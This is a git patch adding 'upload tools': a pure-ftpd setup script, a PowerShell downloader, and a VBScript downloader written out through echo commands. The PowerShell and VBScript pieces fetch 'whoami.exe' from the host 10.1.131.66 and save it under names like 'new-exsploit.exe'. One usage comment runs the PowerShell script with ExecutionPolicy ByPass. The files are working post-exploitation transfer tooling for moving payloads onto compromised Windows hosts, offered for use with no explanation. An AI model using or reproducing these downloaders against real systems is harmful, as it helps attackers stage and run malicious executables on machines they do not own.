From bfa1e22f7a53f85441ed76bce44e93ac5346d3d2 Mon Sep 17 00:00:00 2001 From: yanbin0061 Date: Fri, 4 Aug 2017 20:49:02 +0800 Subject: [PATCH] upload tools --- upload_tools/tfp.sh | 13 +++++++++++++ upload_tools/wget.ps1 | 8 ++++++++ upload_tools/wget.vbs | 28 ++++++++++++++++++++++++++++ 3 files changed, 49 insertions(+) create mode 100644 upload_tools/tfp.sh create mode 100644 upload_tools/wget.ps1 create mode 100644 upload_tools/wget.vbs diff --git a/upload_tools/tfp.sh b/upload_tools/tfp.sh new file mode 100644 index 0000000..f40c1d4 --- /dev/null +++ b/upload_tools/tfp.sh @@ -0,0 +1,13 @@ +#!/bin/bash +groupadd ftpgroup +useradd -g ftpgroup -d /dev/null -s /etc ftpuser +pure-pw useradd yanbin -u ftpuser -d /ftphome +pure-pw mkdb +cd /etc/pure-ftpd/auth/ +ln -s ../conf/PureDB 60pdb +mkdir -p /ftphome +chown -R ftpuser:ftpgroup /ftphome/ +/etc/init.d/pure-ftpd restart + + +# ftp -s:ftp.txt diff --git a/upload_tools/wget.ps1 b/upload_tools/wget.ps1 new file mode 100644 index 0000000..457ec7e --- /dev/null +++ b/upload_tools/wget.ps1 @@ -0,0 +1,8 @@ +$strongeDir = $pwd +$webclient = New-Object System.Net.WebClient +$url = "http://10.1.131.66/whoami.exe" +$file = "new-exsploit.exe" +$webclient.DownloadFile($url, $file) + + +# powershell.exe -ExecutionPolicy ByPass -NoLogo -NonInteractive -NoProfile -File wget.ps1 \ No newline at end of file diff --git a/upload_tools/wget.vbs b/upload_tools/wget.vbs new file mode 100644 index 0000000..f297fd4 --- /dev/null +++ b/upload_tools/wget.vbs @@ -0,0 +1,28 @@ +echo strUrl=WScript.Arguments.Item(0)>wget.vbs +echo StrFile = WScript.Arguments.Item(1) >> wget.vbs +echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs +echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs +echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs +echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs +echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >>wget.vbs +echo Err.Clear >> wget.vbs +echo Set http = Nothing >> wget.vbs +echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs +echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs +echo If http IS Nothing Then Set http = CreateObject("MSXML.ServerXMLHTTP") >> wget.vbs +echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs +echo http.Open "GET", strURL, False >> wget.vbs +echo http.Send >> wget.vbs +echo varByteArray = http.ResponseBody >> wget.vbs +echo Set http = Nothing >> wget.vbs +echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs +echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs +echo strData = "" >>wget.vbs +echo strBuffer = "" >>wget.vbs +echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs +echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs +echo Next >>wget.vbs +echo ts.Close >> wget.vbs + + +# echo cscript wget.vbs http://10.1.131.66/whoami.exe w1.exe